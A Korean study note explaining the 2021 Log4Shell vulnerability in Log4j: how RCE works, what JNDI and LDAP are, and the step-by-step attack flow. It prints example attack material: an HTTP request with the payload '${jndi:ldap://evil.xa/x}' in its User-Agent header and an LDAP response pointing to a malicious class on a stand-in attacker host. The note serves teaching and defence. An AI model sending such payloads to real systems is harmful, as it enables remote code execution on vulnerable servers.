12. Log4j 취약점
2021년 12월 경, 전 세계의 수많은 시스템에서 사용 중이었던 Log4j 라이브러리에 취약점, 일명 Log4Shell이 발견되었음
1. 취약점 발생 개요
Log4Shell은 RCE(Remote Code Execution)를 악용한 취약점
RCE(Remote Code Execution)
RCE(Remote Code Execution)는 공격자가 외부에서 서버 안에서 실행될 코드를 마음대로 보낼 수 있는 취약점
마치 내가 보낸 자바 코드가 상대방 서버에서 실행되는 방식
예를 들어, 공격자가 서버에 shutdown 명령을 보내서 실제로 서버가 종료되도록 만들 수 있음
Log4Shell은 log4j가 외부 주소에서 자바 클래스를 다운받고 실행해버리는 특성을 악용해, 서버 안에서 악성 코드를 실행시킬 수 있는 대표적인 RCE 취약점
1-1. 공격 흐름
RCE를 활용한 공격 흐름 은 다음과 같음

공격자가 악성 JNDI 문자열을 요청 헤더에 삽입
공격자는 HTTP 요청의 User-Agent 헤더에 ${jndi:ldap://evil.xa/x}와 같은 악성 JNDI lookup 문자열을 삽입하여 취약한 서버에 전송
GET /test HTTP/1.1
Host: victim.xa
User-Agent: ${jndi:ldap://evil.xa/x}자바 프로그램이 이름을 통해(주로 디렉토리 경로이름) 데이터 및 Java 객체를 찾을 수 있도록 제공하는 인터페이스
자바에서는 JNDI, Java Naming and Directory Interface 를 통해 적용 가능

Naming 서비스를 지원하는 Naming 서버에 자원을 등록하여 다른 어플리케이션에서 사용할 수 있도록 공개하고, Naming 서버에 등록되어 있는 자원을 찾아와서 이용할 수 있게 할 수 있음
→ Log4Shell은 JNDI를 통해 공격 대상의 서버 내부에서 해커의 서버로 요청을 전송시켜서 악성 코드를 다운받게 함
서버가 로그를 기록하면서 악성 문자열이 log4j로 전달됨
취약한 서버는 로그를 남기는 과정에서 log4j가 이 문자열을 처리하게 됨
log4j가 JNDI lookup을 수행하고 악성 LDAP 서버에 접근
log4j는 로그를 찍을 때 ${}에 담긴 문자를 동적으로 해석할 수 있었음
예를 들면,
logger.info("사용자 이름: ${env.USERNAME}"); // 사용자 이름: guguttemy→ 시스템에서 환경변수를 통해 사용자 이름을 불러옴
해커는 이를 악용하여 JNDI를 통해 외부에서 악성 코드도 가져올 수 있게함
따라서 log4j는 문자열을 해석하면서 다음의 코드를 실행함
logger.info(${jndi:ldap://evil.xa/x});그에 따라 해당 코드는 지정된 LDAP 서버(evil.xa)에 JNDI 요청을 보내는 방식으로 동작하게 되고, 결국 log4j는 이를 해석하는 과정에서 해커 서버로 접속하게 됨
evil.xa/x
→ 악성 코드를 응답하는 서버
LDAP, Lightweight Directory Access Protocol
사내 네트워크 상에 존재하는 파일이나 장치 등과 같은 자원의 위치를 찾도록 제공하는 소프트웨어 프로토콜로, JNDI 구현체 중 하나
따라서 클라이언트 쪽에서는 LDAP 프로토콜을 기반으로 아래와 같은 URL 요청을 통해 특정 객체의 정보를 취득할 수 있게 됨
JNDITutorial 객체 정보 취득을 위한 요청 URL 예시
ldap://localhost:389/o=JNDITutorial악성 LDAP 서버가 악성 클래스 정보를 응답으로 반환
LDAP 서버는 javaClassName, javaCodebase 등의 메타데이터를 응답하는데,
이 응답에는 외부에서 호스팅된 악성 Java 클래스 경로가 포함되어 있음
dn:
javaClassName: Malicious
javaCodebase: http://evil.xa
javaSerializedData: <...>서버가 악성 클래스를 로드 및 실행
취약한 서버는 LDAP 응답에 따라 악성 클래스를 다운로드하고, static {} 블록 등에서 정의된 악성 코드를 실행하게 되며,
결과적으로 원격 코드 실행(RCE)이 발생하게 됨